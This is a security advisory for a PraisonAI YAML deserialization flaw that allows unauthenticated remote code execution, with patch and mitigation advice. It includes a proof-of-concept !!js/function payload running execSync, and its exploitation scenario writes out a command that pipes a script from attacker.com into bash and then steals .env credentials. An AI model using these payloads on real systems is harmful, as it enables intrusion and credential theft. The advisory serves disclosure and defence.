CVE-2026-39890: PraisonAI: YAML deserialization enables unauthenticated RCE
GHSA-32vr-5gcf-3pw2 CRITICALPraisonAI's agent-loading service uses js-yaml's unsafe `load()` function without a safe schema, allowing any attacker to embed executable JavaScript via `!!js/function` tags in a crafted agent definition YAML file — resulting in unauthenticated remote code execution at CVSS 9.8. Any deployment exposing the agent upload endpoint without authentication is fully compromisable on first attempt: the published proof-of-concept requires no AI expertise and is trivially adaptable. AI agent processes routinely hold API keys, database credentials, and broad filesystem access, making server compromise here disproportionately impactful compared to a typical web application RCE. Upgrade immediately to praisonai >= 4.5.115, which patches the issue by switching to `yaml.load()` with `JSON_SCHEMA`; as an interim control, restrict or WAF-block the agent definition upload endpoint until patching is complete.
Risk Assessment
Critical. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) means fully network-exploitable with zero authentication and zero user interaction. A working PoC is documented in the public security advisory — exploitation is script-kiddie level. The 9 other CVEs recorded against this package indicate a pattern of security debt. AI agent runtimes typically operate with elevated process privileges and broad tool access, amplifying the blast radius well beyond a conventional web server compromise.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| praisonai | pip | <= 4.5.114 | 4.5.115 |
Do you use praisonai? You're affected.
Severity & Risk
Recommended Action
- Patch immediately: upgrade to praisonai >= 4.5.115 — this is the only complete fix.
- If patching is delayed, block the agent definition upload endpoint at the network or WAF layer, or enforce authentication on all agent management APIs.
- Audit all YAML parsing in your codebase: search for `yaml.load(` calls in js-yaml usage lacking `{ schema: JSON_SCHEMA }` or `{ schema: DEFAULT_SAFE_SCHEMA }`.
- Scan deployed agent definition files for the presence of `!!js/` tags as an indicator of compromise.
- Rotate all credentials accessible to the PraisonAI process (API keys, DB passwords, tokens) if exploitation is suspected or confirmed.
Classification
Compliance Impact
This CVE is relevant to:
Technical Details
NVD Description
## Summary The `AgentService.loadAgentFromFile` method uses the `js-yaml` library to parse YAML files without disabling dangerous tags (such as `!!js/function` and `!!js/undefined`). This allows an attacker to craft a malicious YAML file that, when parsed, executes arbitrary JavaScript code. An attacker can exploit this vulnerability by uploading a malicious agent definition file via the API endpoint, leading to remote code execution (RCE) on the server. ## Details The vulnerability exists in the YAML deserialization process. The `js-yaml` library's `load` function is used without specifying a safe schema (e.g., `JSON_SCHEMA` or `DEFAULT_SAFE_SCHEMA`). This enables the parsing of JavaScript functions and other dangerous types. When a malicious YAML file containing a `!!js/function` tag is parsed, the function is evaluated, leading to arbitrary code execution. The vulnerable code is located in `src/agents/agent.service.ts` at line 55. ## PoC An attacker can create a malicious agent YAML file with the following content: ```yaml !!js/function > function(){ require('child_process').execSync('touch /tmp/pwned') } ``` Then, upload this file as an agent definition via the API endpoint that uses `AgentService.loadAgentFromFile`. When the agent is loaded (either during startup or via an API call that triggers loading), the payload will execute the command `touch /tmp/pwned`, demonstrating arbitrary code execution. ## Impact This vulnerability allows an unauthenticated attacker (if the API endpoint is unprotected) or an authenticated attacker with the ability to upload agent definitions to execute arbitrary code on the server. This can lead to complete compromise of the server, data theft, or further network penetration. ## Recommended Fix Replace the unsafe `load` method with a safe alternative. Specifically, use the `load` method with a safe schema, such as `JSON_SCHEMA` or `DEFAULT_SAFE_SCHEMA`. For example: ```typescript import yaml from 'js-yaml'; import { JSON_SCHEMA } from 'js-yaml'; // In the loadAgentFromFile method const agent = yaml.load(fileContent, { schema: JSON_SCHEMA }); ``` Alternatively, if the application requires only a subset of YAML features, consider using the `safeLoad` method from an older version (though note it was deprecated). The key is to avoid loading tags that can execute code. Additionally, validate and sanitize all user input, especially file uploads. Ensure that agent definition files are only uploaded by trusted users and consider storing them in a secure location with proper access controls.
Exploitation Scenario
An attacker discovers a PraisonAI instance with an unauthenticated agent definition upload endpoint — trivially detectable via Shodan or passive DNS. They craft a YAML payload containing `!!js/function > function(){ require('child_process').execSync('curl http://attacker.com/shell.sh | bash') }` and POST it to the agent upload API. PraisonAI's `loadAgentFromFile` passes this to js-yaml's unsafe `load()`, which evaluates the embedded JavaScript in the Node.js process. The reverse shell callback gives the attacker full server access: they exfiltrate `.env` files containing LLM API keys, database credentials, and access tokens, then pivot laterally into connected enterprise infrastructure using the agent's configured tool access.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-39305 9.0 PraisonAI: path traversal enables arbitrary file write/RCE
Same package: praisonai CVE-2026-39891 8.8 praisonai: SSTI enables RCE via agent instructions
Same package: praisonai CVE-2026-34955 8.8 PraisonAI: sandbox escape via shell=True blocklist bypass
Same package: praisonai CVE-2026-39307 8.1 PraisonAI: Zip Slip enables arbitrary file write / RCE
Same package: praisonai CVE-2026-34936 7.7 PraisonAI: SSRF via api_base steals cloud IAM credentials
Same package: praisonai
AI Threat Alert